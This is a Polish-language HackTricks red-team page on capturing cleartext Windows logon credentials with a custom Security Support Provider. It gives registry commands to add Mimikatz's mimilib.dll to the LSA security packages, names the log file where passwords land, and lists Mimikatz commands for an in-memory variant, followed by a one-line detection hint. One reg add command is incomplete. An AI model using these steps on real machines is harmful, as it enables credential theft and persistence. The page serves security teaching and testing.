hacktricks/windows-hardening/active-directory-methodology/custom-ssp.md

Custom SSP

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Custom SSP

Dowiedz się, czym jest SSP (Security Support Provider) tutaj.
Możesz stworzyć własny SSP, aby przechwycić w czystym tekście poświadczenia używane do uzyskania dostępu do maszyny.

Mimilib

Możesz użyć binarnego pliku mimilib.dll dostarczonego przez Mimikatz. To zapisze w pliku wszystkie poświadczenia w czystym tekście.
Umieść dll w C:\Windows\System32\
Uzyskaj listę istniejących pakietów zabezpieczeń LSA:

{% code title="attacker@target" %}

PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
Security Packages    REG_MULTI_SZ    kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u

{% endcode %}

Dodaj mimilib.dll do listy dostawców wsparcia bezpieczeństwa (Pakiety zabezpieczeń):

reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"

I po ponownym uruchomieniu wszystkie poświadczenia można znaleźć w postaci czystego tekstu w C:\Windows\System32\kiwissp.log

W pamięci

Możesz również wstrzyknąć to bezpośrednio do pamięci za pomocą Mimikatz (zauważ, że może to być trochę niestabilne/nie działać):

privilege::debug
misc::memssp

To nie przetrwa ponownego uruchomienia.

Łagodzenie

Identyfikator zdarzenia 4657 - Audyt utworzenia/zmiany HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

• Sprawdź plany subskrypcyjne!
• Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
• Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.

{% endhint %}